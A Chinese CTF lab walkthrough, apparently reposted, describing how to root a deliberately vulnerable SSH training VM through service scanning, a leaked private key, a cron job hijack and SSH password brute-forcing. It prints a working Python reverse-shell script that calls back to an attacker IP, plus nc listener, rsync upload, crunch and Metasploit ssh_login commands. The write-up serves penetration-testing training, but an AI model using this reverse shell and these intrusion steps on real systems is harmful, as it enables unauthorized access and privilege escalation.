CTF训练笔记(二) 您所在的位置:网站首页 python提权root CTF训练笔记(二)

CTF训练笔记(二)

2024-06-26 12:54| 来源: 网络整理| 查看: 265

CTF训练笔记系列 - 快速导航

目录 一、环境搭建1.攻击机2.靶机3.网络配置 二、信息收集三、信息探测1.挖掘开放服务信息2.挖掘隐藏敏感信息2.1直接访问http服务:2.2寻找隐藏起来的后台文件: 3.尝试登录服务器3.1使用wget工具下载刚找到的私钥文件3.2预处理私钥文件3.3尝试登录服务器 4.提权5.获取flag 四、总结

一、环境搭建 1.攻击机

VMware环境下的kali linux虚拟机(本次渗透测试使用kali-linux-2020.4-vmware-amd64版本,初始用户名、密码均为:kali)

2.靶机

VirtualBox环境下的SSH-渗透root主机.ova虚拟机(链接: https://pan.baidu.com/s/1dM4FKImp_aN5k1yU29hlxg 提取码: sok8)

3.网络配置

攻击机与靶机桥接于同一网卡上,便于查找靶机ip地址。【同笔记(一)】

二、信息收集

获取靶机ip: 在攻击机的终端中使用“ifconfig”指令获取攻击机的网络地址(此时靶机也在同一网段,因为刚才桥接在了同一网卡上),

ifconfig

利用得到的ip地址与子网掩码可构造网段:192.168.2.0/24作为参数,使用netdiscover工具搜索同一网段内所有主机(若主机较多则等待时间可能较长),

netdiscover -r 192.168.2.0/24

在这里插入图片描述 结果如下,其中"PCS Systemtechnik GmbH"一行即为靶机信息,靶机ip为192.168.2.120。 在这里插入图片描述

三、信息探测 1.挖掘开放服务信息

使用sudo指令登录root权限(需输入密码:kali)

sudo -s

使用nmap工具扫描靶机所有开放端口,

nmap -sV 192.168.2.120

在这里插入图片描述 Ⅰ.发现靶机开放了22端口的ssh服务,于是想到: ①是否有私钥泄露? ②能否找到私钥的用户名? ③束手无策时考虑暴力破解密码;

Ⅱ.发现靶机开放了80端口的http服务,于是想到: ①尝试直接用浏览器访问靶机开放了http服务的端口; ②使用dirb工具探测http的目录;

Ⅲ.发现无特殊端口(1025 - 65535)开放。

2.挖掘隐藏敏感信息 2.1直接访问http服务:

浏览器访问http://192.168.2.120:80,得: 在这里插入图片描述 Ⅰ.出现了一些人名,考虑可能是ssh服务的用户名; Ⅱ.源代码无明显有效信息。

2.2寻找隐藏起来的后台文件:

使用dirb工具探测此服务的隐藏文件,

dirb http://192.168.2.120:80/

在这里插入图片描述 在这里插入图片描述 ???

这信息量这么大我找flag要找到什么时候去啊?但硬着头皮从头开始仔细阅读才发现:

哦,原来最上层只有三个文件和三个目录,看着吓人的一大堆都是manual目录里的内容,而Apache在manual目录中保存的是Apache服务器的帮助手册文件,这里有flag的可能性较低可以先不去考虑。

Ⅰ.先看看三个文件: 其中index.html就是刚刚看到的网页主界面;而server-status文件既没有权限访问,拒绝界面源代码也没有明显有效信息;但敏感文件robots.txt文件中出现了没有被探测到的文件“/wordpress-blog”, 在这里插入图片描述 尝试访问192.168.2.120/wordpress-blog,得: 在这里插入图片描述 emmmm…页面和源码好像都没啥用。

Ⅱ.再看看三个目录里有啥: /file中页面和源码无明显有效信息; /manual中内容过多,若别的地方都没有可用信息再来看; /icons中以各种图标文件为主,非图标文件有三个,其中README与README.html两个文件中无明显有效信息, 在这里插入图片描述 但最后一个奇怪名字的txt文件很可能是ssh的私钥信息,并且无需解密可以直接使用(若需要,则使用ssh2john工具先解密再使用,详见笔记一)。 在这里插入图片描述

3.尝试登录服务器 3.1使用wget工具下载刚找到的私钥文件 wget "http://192.168.2.120/icons/VDSoyuAXiO.txt"

在这里插入图片描述

3.2预处理私钥文件

重命名为id_rsa(方便打字),修改为600权限(否则私钥不生效,会要求输入密码)

mv VDSoyuAXiO.txt id_rsa chmod 600 id_rsa 3.3尝试登录服务器

刚才访问的网页主界面出现过3个人名, Ⅰ.试用jimmy用户名,发现确实存在该用户名,但私钥id_rsa不生效,密码不为空,无法登录; 在这里插入图片描述 Ⅱ.试用hadi用户名,发现确实存在该用户名,但私钥id_rsa不生效,密码不为空,无法登录; 在这里插入图片描述 Ⅱ.试用martin用户名,发现确实存在该用户名,私钥id_rsa生效,密码为空,可以登录。 在这里插入图片描述

4.提权

①使用id指令判断当前用户是否具有root权限(一般情况下,flag文件只允许root用户及其对应的用户组访问),

id

发现当前使用的martin用户不具有root权限,需要提权。 在这里插入图片描述 【注】: root用户返回结果应当如下(三个数全为0): 在这里插入图片描述 ②一些linux基础知识: 使用crontab指令可用来定期执行程序,在/etc/crontab文件中存放用户的定时计划。 Ⅰ.如果在/etc/crontab文件中有某个用户的定时计划但具体目录中没有对应的可执行文件,则攻击者可以自行创建该可执行文件并在其中加入自己的恶意代码,该行为可创建反弹shell使得靶机主动向攻击机发起会话请求,攻击机通过监听相应端口可以get到靶机的shell进而获取root权限; Ⅱ.如果在/etc/crontab文件中有某个用户的定时计划且具体目录中存在对应的可执行文件,则攻击者可以尝试能否访问并添加恶意代码以创建反弹shell。

③使用cat指令访问crontab文件查看定时任务,

cat /etc/crontab

在这里插入图片描述 发现jimmy用户设定每隔5分钟执行一次tmp目录下的sekurity.py文件,但实际上在tmp目录中并未发现该文件,因而可以自行创建该文件并添加恶意代码。

cd /tmp && ls

在这里插入图片描述 ④在kali linux上使用vim工具编写脚本文件

//使用vim工具创建名为sekurity.py的文件 vim sekurity.py //此时处于命令模式,按下“i”键进入编辑模式 #脚本内容: #!/usr/bin/python import os,socket,subprocess s=socket.socket() s.connect(("192.168.2.248",60000)) #攻击机IP,攻击机监听端口(任意空闲端口) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) //按“ESC”键返回命令模式,输入 冒号、w、q,回车(用于保存并退出vim工具) :wq

⑤使用rsync指令无密码传输文件 通过私钥id_rsa可绕过密码将攻击者的恶意代码文件上传至靶机,还要在靶机上给代码文件增加可执行权限否则文件可能无法被执行。

rsync -e "ssh -i /home/kali/Desktop/id_rsa" /home/kali/Desktop/sekurity.py [email protected]:/tmp/ chmod +x sekurity.py

⑥使用nc指令让攻击机监听对应端口,等待靶机发来的请求

nc -lvp 60000

开始监听: 在这里插入图片描述 得到shell: 在这里插入图片描述 且此shell用户为jimmy,但jimmy依然不是root用户,需要继续深入挖掘。

⑦暴力破解root用户的密码 万不得已的情况下,可以考虑暴力破解用户名和密码。常用暴破工具有hydra、medusa、metasploit等,但破解能否成功更重要的是看加载的密码字典是否强大,常用的字典生成工具有cupp、cewl等。 下面以cupp和metasploit为例。 Ⅰ. kali linux中并未集成cupp工具,需要主动下载。 可以使用git指令下载cupp工具,并赋予cupp.py文件可执行权限,随后可以开始以交互的方式创建字典。

git clone https://github.com/jeanphorn/common-password.git chmod +x cupp.py // "./"表示当前目录,"../"表示父目录,既可以用./也可用python执行.py文件 ./cupp.py -i

在这里插入图片描述 已知三个用户,其中两个无root权限,于是尝试暴力破解hadi用户的密码:

Name:hadi (其余选项直接回车跳过) Do you want to add some random numbers at the end of words? Y/[N] Y (其余选项直接回车跳过)

生成好的字典文件存放在/common-password目录下。

Ⅱ.

//在终端中打开metasplooit工具 msfconsole //选择模式,设置参数 use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.2.120 //靶机ip set username hadi //用户名 set pass_file /home/kali/Downloads/common-password/hadi.txt //加载密码字典文件 set threads 10 //线程数量 set verbose true //实时反馈 //运行 run

在这里插入图片描述 暴力破解的过程相当漫长而且成功率与字典强相关。

Ⅲ. 暴力破解结束,cupp工具生成的字典中并没有正确密码。于是经过烦死人的、掉光头发的多次尝试生成各种字典文件,终于“碰巧”成功使用crunch工具生成了包含正确密码的字典:

crunch 7 7 -t hadi%%% >>pass_2.txt

在这里插入图片描述 此时metasploit显示如下: 在这里插入图片描述 得知hadi用户的密码为hadi123。

⑧拿到具有root权限的shell 建立会话1用于访问靶机中hadi用户的shell:

sessions -i 1

结果: 在这里插入图片描述 但此时界面与通常的命令行格式有所不同,很不习惯,也不利于回顾之前的操作,于是需要优化会话:

python -c "import pty; pty.spawn('/bin/bash')"

结果: 在这里插入图片描述 使用su命令得到root权限(需要输入密码:hadi123):

su - root

结果: 在这里插入图片描述 成功获取root权限!

5.获取flag

一般情况下,ctf比赛中flag文件在root目录下。 在这里插入图片描述 打开flag.txt文件: 在这里插入图片描述 成功获取到flag!

四、总结

在对SSH服务的渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶机,偶尔可能还需要暴力破解密码。

CTF中要特别注意: /tmp 数据缓存目录 /etc/crontab 定时任务文件



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有